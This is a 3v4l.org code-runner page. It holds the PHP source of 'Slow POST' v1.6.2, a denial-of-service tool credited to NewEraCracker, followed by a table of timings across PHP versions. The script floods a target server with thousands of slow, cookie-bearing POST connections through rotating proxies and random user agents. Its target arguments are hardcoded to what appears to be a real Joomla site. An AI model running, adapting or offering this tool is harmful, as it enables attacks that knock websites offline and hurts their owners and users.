3v4l.org

run code in 300+ PHP versions simultaneously
<?php ignore_user_abort(true); set_time_limit(0); $_SERVER['argv'][1] = 'http://aeestesl.com/index.php?option=com_content&view=article&id=144&Itemid=70'; $_SERVER['argv'][2] = '/home1/maatuni1/public_html/album_art/code3.txt'; //------------------------- // CONFiG //------------------------- $default_max_cookies = 100; $default_max_sockets = 9001; $default_msec_timeout = 500; $default_usleep_time = 0; //------------------------- // INiT //------------------------- // Define EXPLOIT_VERSION if( !defined('EXPLOIT_VERSION') ) define( 'EXPLOIT_VERSION', 'v1.6.2' ); // Define STDIN if( !defined('STDIN') ) define( 'STDIN', fopen('php://stdin','r') ); // Check SAPI if(PHP_SAPI != 'cli') { echo 'This script is not meant to be ran via browser.'; exit(1); } // Globals - DO NOT EDIT $global_proxy_array = null; //------------------------- // FUNCTiONS FOR THE LULZ //------------------------- /** Read STDIN and return it */ function readSTDIN() { $file = STDIN; if(!$file) return false; $data = fgets($file); return rtrim($data); } /** Receive a filename that has proxies listed in it and fills the $global_proxy_array */ function proxyLoadFile($filename) { global $global_proxy_array; // Load proxy list file $filename = str_replace('\\','/',$filename); $global_proxy_array = @file_get_contents($filename); if(!$filename || !$global_proxy_array) { echo $filename.' is not a valid proxy-list file!'; exit(1); } $global_proxy_array = str_replace( array("\r\n","\r"), "\n", $global_proxy_array); $global_proxy_array = explode("\n",$global_proxy_array); // Grab the proxies foreach($global_proxy_array as $key => $value) { $global_proxy_array[$key] = explode(':',$value); if( isset($global_proxy_array[$key][0], $global_proxy_array[$key][1]) ) { // This allows me to get proxies from lists like // IP:PORT bla bla bla $global_proxy_array[$key][1] = explode(' ',$global_proxy_array[$key][1]); $global_proxy_array[$key][1] = explode("\t",$global_proxy_array[$key][1][0]); $global_proxy_array[$key][1] = $global_proxy_array[$key][1][0]; // The proxy $global_proxy_array[$key] = array('host' => $global_proxy_array[$key][0], 'port' => $global_proxy_array[$key][1]); } else { unset($global_proxy_array[$key]); } } } /** Returns a random a proxy */ function proxyGetRandom() { global $global_proxy_array; // Give a random proxy $proxy = null; if( count($global_proxy_array) ) { while( !$proxy ) { $rand = mt_rand(0,count($global_proxy_array)-1); $proxy = (isset($global_proxy_array[$rand]) ? $global_proxy_array[$rand] : null); } return $proxy; } return false; } /** Returns a random useragent */ function randomUserAgent() { // Microsoft Windows versions $os = array('5.0','5.1','5.2','6.0','6.1','6.2'); // Select a random windows $os = $os [ mt_rand(0,count($os)-1) ]; // Select a random browser if( mt_rand(0,1) ) { // Internet Explorer versions $ua[0] = array('4.0','7.0'); $ua[1] = array('4.0','8.0'); $ua[2] = array('5.0','9.0'); // Random IE $ua = $ua [ mt_rand(0,count($ua)-1) ]; return "Mozilla/{$ua[0]} (compatible; MSIE {$ua[1]}; Windows NT {$os}; Trident/{$ua[0]})"; } else { // Mozilla Firefox versions $ua = array('18.0','19.0','20.0'); // Random FF $ua = $ua [ mt_rand(0,count($ua)-1) ]; return "Mozilla/5.0 (Windows NT {$os}; rv:{$ua}) Gecko/20100101 Firefox/{$ua}"; } } /** Opens a custom socket and returns it */ function openCustomSocket($newEraUrl, $newEraProxy=null) { global $default_msec_timeout; $newEraConnection = (($newEraProxy == null) ? $newEraUrl : $newEraProxy); $host = (($newEraConnection->ssl) ? 'ssl://' : 'tcp://').$newEraConnection->name; $fp = @fsockopen($host, $newEraConnection->port, $errno, $errstr, 1); if (!$fp) return false; stream_set_blocking($fp,0); stream_set_timeout($fp,0,$default_msec_timeout); return $fp; } /** * Receives a socket and performs the start of a slowPosting * Returns Content-Length on success and false on failure */ function slowPostStart($sock, $newEraUrl, $newEraProxy, $cookie) { // Check the socket if($sock) { // Generate a random Content-Length $length = mt_rand(1337,31337); // Init if($newEraProxy == null) $out = 'POST /'.$newEraUrl->path.' HTTP/1.1'."\r\n"; else $out = 'POST '.$newEraUrl->full_url.' HTTP/1.1'."\r\n"; // Build $out .= 'Host: '.$newEraUrl->name."\r\n"; $out .= 'Connection: Keep-Alive'."\r\n"; $out .= 'Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n"; $out .= 'User-Agent: '.randomUserAgent()."\r\n"; $out .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n"; $out .= 'Accept-Encoding: gzip,deflate'."\r\n"; $out .= 'Keep-Alive: '.mt_rand(60,120)."\r\n"; $out .= 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'."\r\n"; $out .= mt_rand(0,1) ? 'Referer: '.($newEraUrl->ssl?'https://':'http://').$newEraUrl->name.'/'."\r\n" : ''; $out .= ($cookie ? "Cookie: {$cookie}\r\n" : '' ); $out .= 'Content-Length: '.$length."\r\n"; $out .= "\r\n"; // Do it @fwrite($sock, $out); return $length; } return false; } /** Receives a socket and continues the slowPosting */ function slowPostContinue($sock,$bytes=5) { global $default_usleep_time; // Throttle execution speed slightly if( $default_usleep_time > 0 ) @usleep($default_usleep_time); // Check the $bytes if( intval($bytes) != $bytes ) $bytes=5; // Check the socket if($sock) { // Do it :D $out = ''; for($j=0;$j<$bytes;$j++); { $out .= chr(mt_rand(33,126)); } $out = urlencode($out); @fwrite($sock, $out); return true; } else return false; } //------------------------- // CLASSES FOR THE LULZ //------------------------- /** I want cookies! Give me cookies! */ class NewEraCookies { private $max_cookies; private $cookies = array(); /** Constructor */ public function __construct($newEraUrl, $newEraProxy, $max_cookies, $proxyFile=null, $output=false) { $this->update_object($newEraUrl, $newEraProxy, $max_cookies, $proxyFile, $output); } /** Object updater */ public function update_object($newEraUrl, $newEraProxy, $max_cookies, $proxyFile=null, $output=false) { $this->max_cookies = $max_cookies; $this->cookies = array(); if($output) echo PHP_EOL.'BUILDING COOKIES '; for($i=0; $i<$this->max_cookies; $i++) { // Using Proxy file? if( $proxyFile ) { $newproxy = proxyGetRandom(); if(!$newproxy) exit($proxyFile.' is not a valid proxy-list file!'); $newEraProxy->update_object('tcp://'.$newproxy['host'].':'.$newproxy['port']); } $this->cookies[$i] = self::cookieGrab($newEraUrl, $newEraProxy); if($output) echo '.'; } } /** Returns a cookie by its index */ public function returnCookieByIndex($idx) { if($idx == 'random') $idx = mt_rand(0, $this->max_cookies-1); if(isset($this->cookies[$idx])) return $this->cookies[$idx]; return ''; } /** Function to parse set-cookie from header fields */ public static function cookieParse($header) { $cookies = array(); foreach($header as $line) { if(preg_match('/^Set-Cookie: /i', $line)) { $line = preg_replace('/^Set-Cookie: /i', '', trim($line)); $csplit = explode(';', $line); $cdata = array(); $has_grabbed_cookie_data = false; foreach($csplit as $data) { $cinfo = explode('=', $data); $cinfo[0] = trim($cinfo[0]); if(!$has_grabbed_cookie_data) { $cdata['value']['key'] = $cinfo[0]; $cdata['value']['value'] = $cinfo[1]; $has_grabbed_cookie_data = true; continue; } $cinfo[0] = strtolower($cinfo[0]); if($cinfo[0] == 'expires') $cinfo[1] = strtotime($cinfo[1]); if($cinfo[0] == 'secure') $cinfo[1] = 'true'; if(in_array($cinfo[0], array('domain', 'expires','path','secure','comment'))) { $cdata[trim($cinfo[0])] = $cinfo[1]; } } $cookies[] = $cdata; } } return $cookies; } /** Function to build the request cookie header from parsed set-cookie data */ public static function cookieBuild($data) { if(is_array($data)) { $cookie = array(); foreach($data as $d) $cookie[] = $d['value']['key'].'='.$d['value']['value']; if(count($cookie) > 0) return trim(implode('; ', $cookie)); } return false; } /** Function to grab cookies from an url using PHP's fopen */ public static function cookieGrab($newEraUrl, $newEraProxy=null) { // Build connection headers $headers = 'Connection: Keep-Alive'."\r\n"; $headers .= 'Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n"; $headers .= 'User-Agent: '.randomUserAgent()."\r\n"; $headers .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n"; $headers .= 'Accept-Encoding: gzip,deflate'."\r\n"; $headers .= 'Keep-Alive: '.mt_rand(60,120)."\r\n"; // Check proxy url if($newEraProxy == null) { // Disable proxy $proxy_url = ''; $request_fulluri = false; } else { // Enable proxy $proxy_url = $newEraProxy->full_url; $request_fulluri = true; } // Build stream context $context = stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => (3), 'header' => $headers, 'proxy' => $proxy_url, 'request_fulluri' => $request_fulluri, 'max_redirects' => (0), 'protocol_version' => (1.1), 'ignore_errors' => true ), 'ssl' => array( 'verify_peer' => false ) )); // Let the fun begin $cookie = ''; $handle = @fopen($newEraUrl->full_url, 'r', false, $context); // I hope this does work if($handle) { // If it worked, we grab the cookies $metadata = stream_get_meta_data($handle); $cookie = self::cookieBuild(self::cookieParse($metadata['wrapper_data'])); // Fun is only at a small distance @fclose($handle); } return $cookie; } } /** Class to construct and handle an url-like object */ class NewEraUrl { private $host_full_url; private $host_protocol; private $host_ssl; private $host_name; private $host_port; private $host_path; /** Constructor */ public function __construct($host_full_url) { $this->update_object($host_full_url); } /** Object updater */ public function update_object($host_full_url) { $this->host_full_url = $host_full_url; $this->host_ssl = ((strpos($this->host_full_url, 'https') === 0) ? true : false); $this->host_protocol = ($this->host_ssl ? 'https' : 'http'); // Grab other parameters $host_full_url = explode('/',$host_full_url,4); $host_full_url[2] = explode(':',$host_full_url[2],2); // Host, Port, Path $this->host_name = $host_full_url[2][0]; $this->host_port = (isset($host_full_url[2][1]) ? $host_full_url[2][1] : ($this->host_ssl ? 443 : 80)); $this->host_path = (isset($host_full_url[3]) ? $host_full_url[3] : ''); } /** Getter for the private properties */ public function __get($var) { $var = 'host_'.$var; if(property_exists($this,$var)) return $this->{$var}; } /** Quick check to see if url is minimally valid */ public static function isValid($host_full_url) { if(strpos($host_full_url,'https://') === 0 || strpos($host_full_url,'http://') === 0) return true; } } /** Class to construct and handle a proxy-like object */ class NewEraProxy { private $proxy_full_url; private $proxy_protocol; private $proxy_ssl; private $proxy_name; private $proxy_port; /** Constructor */ public function __construct($proxy_full_url) { $this->update_object($proxy_full_url); } /** Object updater */ public function update_object($proxy_full_url) { $this->proxy_full_url = $proxy_full_url; $this->proxy_ssl = ((strpos($this->proxy_full_url, 'ssl') === 0) ? true : false); $this->proxy_protocol = ($this->proxy_ssl ? 'ssl' : 'tcp'); // Grab other parameters if( false !== ($tmp = strpos($proxy_full_url,'://')) ) $proxy_full_url = substr($proxy_full_url, $tmp+3); $proxy_full_url = explode(':',$proxy_full_url); // Host, Port, Path $this->proxy_name = $proxy_full_url[0]; $this->proxy_port = (int)(isset($proxy_full_url[1]) ? $proxy_full_url[1] : ($this->proxy_ssl ? '443' : '80')); } /** Getter for the private properties */ public function __get($var) { $var = 'proxy_'.$var; if(property_exists($this,$var)) return $this->{$var}; } } //------------------------- // MAiN CODE FOR THE LULZ //------------------------- echo " _______. __ ______ ____ __ ____ / || | / __ \ \ \ / \ / / | (----`| | | | | | \ \/ \/ / \ \ | | | | | | \ / .----) | | `----.| `--' | \ /\ / |_______/ |_______| \______/ \__/ \__/ .______ ______ _______.___________. | _ \ / __ \ / | | | |_) | | | | | | (----`---| |----` | ___/ | | | | \ \ | | | | | `--' | .----) | | | | _| \______/ |_______/ |__| "; echo PHP_EOL.EXPLOIT_VERSION.' by NewEraCracker'.PHP_EOL; // Fetch the URL to attack $url = null; if( isset($_SERVER['argv'][1]) && NewEraUrl::isValid($_SERVER['argv'][1]) ) $url = $_SERVER['argv'][1]; // Fetch proxy to use $proxy['host'] = null; $proxy['port'] = null; $proxy['file'] = false; if( !empty($url) && isset($_SERVER['argv'][2]) ) { if( $proxy = explode(':',$_SERVER['argv'][2]) ) { if( isset($proxy[0], $proxy[1]) ) { $proxy['file'] = false; $proxy['host'] = $proxy[0]; $proxy['port'] = $proxy[1]; unset($proxy[0], $proxy[1]); } } if( !( isset($proxy['host']) && isset($proxy['port']) ) && is_readable($_SERVER['argv'][2]) ) { $proxy['file'] = true; $proxy['filename'] = $_SERVER['argv'][2]; } } // Ask for proxy if( empty($url) && ( empty($proxy['host']) || empty($proxy['port']) ) && !$proxy['file'] ) { $proxy['use'] = null; while( !$proxy['use'] ) { echo PHP_EOL.'Do you want to use a proxy [yes/no/file]: '; $proxy['use'] = readSTDIN(); if( strpos(strtolower($proxy['use']),'y') === 0 ) { echo PHP_EOL.'Proxy IP: '; $proxy['host'] = readSTDIN(); echo PHP_EOL.'Proxy Port: '; $proxy['port'] = readSTDIN(); } elseif( strpos(strtolower($proxy['use']),'n') === 0 ) { break; } elseif( strpos(strtolower($proxy['use']),'f') === 0 ) { echo PHP_EOL.'Proxy file: '; $proxy['filename'] = readSTDIN(); if( is_readable($proxy['filename']) ) { $proxy['file'] = true; } else { echo PHP_EOL.'Invalid file!'.PHP_EOL; $proxy['use'] = null; } } else { $proxy['use'] = null; echo PHP_EOL.'Invalid choice!'.PHP_EOL; } } unset($proxy['use']); } // Ask for target URL while( !$url ) { echo PHP_EOL.'Target url: '; $url = readSTDIN(); if( NewEraUrl::isValid($url) ) break; $url = null; echo PHP_EOL.'Invalid target!'.PHP_EOL; } // Init proxy suport if( empty($proxy['host']) || empty($proxy['port']) ) { $newEraProxy = null; if( !empty($proxy['file']) ) { proxyLoadFile($proxy['filename']); $newproxy = proxyGetRandom(); if(!$newproxy) exit($proxy['filename'].' is not a valid proxy-list file!'); $newEraProxy = new NewEraProxy('tcp://'.$newproxy['host'].':'.$newproxy['port']); } } else { $newEraProxy = new NewEraProxy('tcp://'.$proxy['host'].':'.$proxy['port']); } // Init the others @ini_set('default_socket_timeout',1); $newEraUrl = new NewEraUrl($url); $newEraCookies = new NewEraCookies($newEraUrl, $newEraProxy, $default_max_cookies, $proxy['file'], true); // Do it while(true) { $fp = array(); // Start echo PHP_EOL.'IMMA FIRIN MAH LAZOR '; for($i=0;$i<$default_max_sockets;$i++) { // Using Proxy file? if( $proxy['file'] ) { $newproxy = proxyGetRandom(); if(!$newproxy) exit($proxy['filename'].' is not a valid proxy-list file!'); $newEraProxy->update_object('tcp://'.$newproxy['host'].':'.$newproxy['port']); } // Open a new socket (only try to open SSL sockets if not using proxies) if( $fp[$i]['sock'] = openCustomSocket($newEraUrl, $newEraProxy) ) { // Progress bar? echo '+'; // Start a new slowPost if( $_length = slowPostStart($fp[$i]['sock'], $newEraUrl, $newEraProxy, $newEraCookies->returnCookieByIndex('random') ) ) { // Find the lenght if( !isset($fp[$i]['length']) ) { $fp[$i]['length'] = $_length; } } else { // Epic fail? @fclose($fp[$i]['sock']); unset($fp[$i]); } } else { // Epic fail? @fclose($fp[$i]['sock']); unset($fp[$i]); } // Check the current sockets foreach($fp as $_k => $_v) { if($fp[$_k]['length'] > 0) { // Contine old slowPosts $_length = ($fp[$_k]['length'] < 5) ? $fp[$_k]['length'] : 5; slowPostContinue($fp[$_k]['sock'],$_length); $fp[$_k]['length'] = $fp[$_k]['length']-$_length; } else { // Close completed slowPosts @fclose($fp[$_k]['sock']); unset($fp[$_k]); } } unset($_k,$_v); } // Restart foreach($fp as $_k => $_v) { @fclose($fp[$_k]['sock']); } $newEraCookies->update_object($newEraUrl, $newEraProxy, $default_max_cookies, $proxy['file'], true); } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01017.00
8.3.50.0160.01017.88
8.3.40.0100.01019.50
8.3.30.0070.01119.35
8.3.20.0030.00619.53
8.3.10.0070.00320.92
8.3.00.0060.00318.00
8.2.180.0100.01417.38
8.2.170.0140.00422.96
8.2.160.0120.00822.38
8.2.150.0030.00624.18
8.2.140.0030.00624.66
8.2.130.0100.00026.16
8.2.120.0030.00619.98
8.2.110.0150.01121.30
8.2.100.0070.00718.09
8.2.90.0080.00319.67
8.2.80.0030.00818.43
8.2.70.0040.00718.13
8.2.60.0060.00318.43
8.2.50.0070.00318.13
8.2.40.0030.00720.19
8.2.30.0030.00618.65
8.2.20.0060.00318.23
8.2.10.0050.00518.28
8.2.00.0000.00918.32
8.1.280.0110.00725.92
8.1.270.0070.00324.66
8.1.260.0050.00526.35
8.1.250.0000.00928.09
8.1.240.0070.00422.78
8.1.230.0060.00621.34
8.1.220.0000.00918.16
8.1.210.0050.00519.41
8.1.200.0060.00617.85
8.1.190.0070.00318.03
8.1.180.0070.00318.10
8.1.170.0050.00519.20
8.1.160.0060.00319.30
8.1.150.0000.01119.08
8.1.140.0030.01017.83
8.1.130.0000.00818.19
8.1.120.0060.00317.83
8.1.110.0060.00317.80
8.1.100.0000.00917.81
8.1.90.0060.00317.82
8.1.80.0090.00017.85
8.1.70.0040.00417.76
8.1.60.0030.00717.87
8.1.50.0030.00618.02
8.1.40.0070.00317.94
8.1.30.0060.00618.04
8.1.20.0040.00718.16
8.1.10.0000.00917.91
8.1.00.0060.00318.05
8.0.300.0030.00620.35
8.0.290.0050.00517.38
8.0.280.0040.00419.03
8.0.270.0060.00317.65
8.0.260.0030.00617.42
8.0.250.0030.00617.46
8.0.240.0000.01017.50
8.0.230.0030.00617.41
8.0.220.0050.00517.39
8.0.210.0090.00017.41
8.0.200.0060.00317.47
8.0.190.0080.00317.44
8.0.180.0000.00917.33
8.0.170.0000.00917.40
8.0.160.0060.00317.55
8.0.150.0070.00317.44
8.0.140.0070.00317.34
8.0.130.0000.00813.96
8.0.120.0070.01017.45
8.0.110.0110.00417.62
8.0.100.0130.00017.47
8.0.90.0100.00617.45
8.0.80.0180.01517.55
8.0.70.0070.00717.57
8.0.60.0120.00317.41
8.0.50.0080.00817.43
8.0.30.0280.01817.68
8.0.20.0310.01817.44
8.0.10.0100.00317.61
8.0.00.0190.02217.25
7.4.330.0030.01715.20
7.4.320.0130.01316.84
7.4.300.0070.01416.69
7.4.290.0040.01816.78
7.4.280.0120.01516.76
7.4.270.0160.01316.89
7.4.260.5031.50013.80
7.4.250.0360.02317.00
7.4.240.0390.01316.90
7.4.230.0430.00716.79
7.4.220.0940.05017.05
7.4.210.0600.04616.95
7.4.200.0270.02416.80
7.4.190.0300.01717.07
7.4.160.1230.03516.88
7.4.150.0970.03817.07
7.4.140.1190.03717.50
7.4.130.1050.03816.92
7.4.120.1190.05416.94
7.4.110.0980.04316.84
7.4.100.1750.03316.87
7.4.90.1190.04417.15
7.4.80.0980.04018.80
7.4.70.0860.03116.89
7.4.60.0970.05416.85
7.4.50.0160.01422.14
7.4.40.0560.01821.69
7.4.30.0770.05016.99
7.3.330.4701.53213.93
7.3.320.5031.49813.86
7.3.310.0280.02117.05
7.3.300.0400.01016.83
7.3.290.0600.03216.83
7.3.280.0730.04316.83
7.3.270.1010.02917.07
7.3.260.1060.04918.24
7.3.250.1060.04916.96
7.3.240.1040.05316.90
7.3.230.0950.03217.03
7.3.210.1420.05216.87
7.3.200.0950.04519.39
7.3.190.1360.03016.84
7.3.180.0880.04116.80
7.3.170.0730.05116.95
7.3.160.0790.03416.84
7.2.330.1100.03317.13
7.2.320.0930.04217.01
7.2.310.0890.03917.09
7.2.300.0970.05417.25
7.2.290.0780.04917.11
7.2.100.1520.02814.66
7.2.90.0990.02815.11
7.2.80.0940.03214.90
7.2.70.0890.02215.23
7.2.60.1620.03515.41
7.2.50.1840.03615.19
7.2.40.1000.03615.20
7.2.30.1550.02915.40
7.2.20.1240.02515.36
7.2.10.1380.03115.33
7.2.00.1620.02715.23
7.1.220.1500.03214.38
7.1.210.1630.04614.40
7.1.200.0590.04014.34
7.1.190.1200.04714.53
7.1.180.1090.01814.37
7.1.170.1430.03214.25
7.1.160.0980.02114.40
7.1.150.1830.03514.16
7.1.140.1660.03814.42
7.1.130.1420.03514.29
7.1.120.1610.02914.27
7.1.110.1030.03514.43
7.1.100.0790.03114.65
7.1.90.1340.03314.13
7.1.80.1210.02914.37
7.0.310.0690.04213.93
7.0.300.1140.03114.11
7.0.290.1650.03514.16
7.0.280.1410.03414.14
7.0.270.1630.03514.04
7.0.260.1640.03513.90
7.0.250.1430.02614.22
7.0.240.0920.03414.34
7.0.230.0930.02714.01
7.0.220.0990.02814.00
5.6.380.0710.05214.50
5.6.370.0760.03615.02
5.6.360.0770.04314.84
5.6.350.1040.02915.16
5.6.340.0710.03515.09
5.6.330.0810.02915.18
5.6.320.0820.02214.65

preferences:
39.5 ms | 401 KiB | 5 Q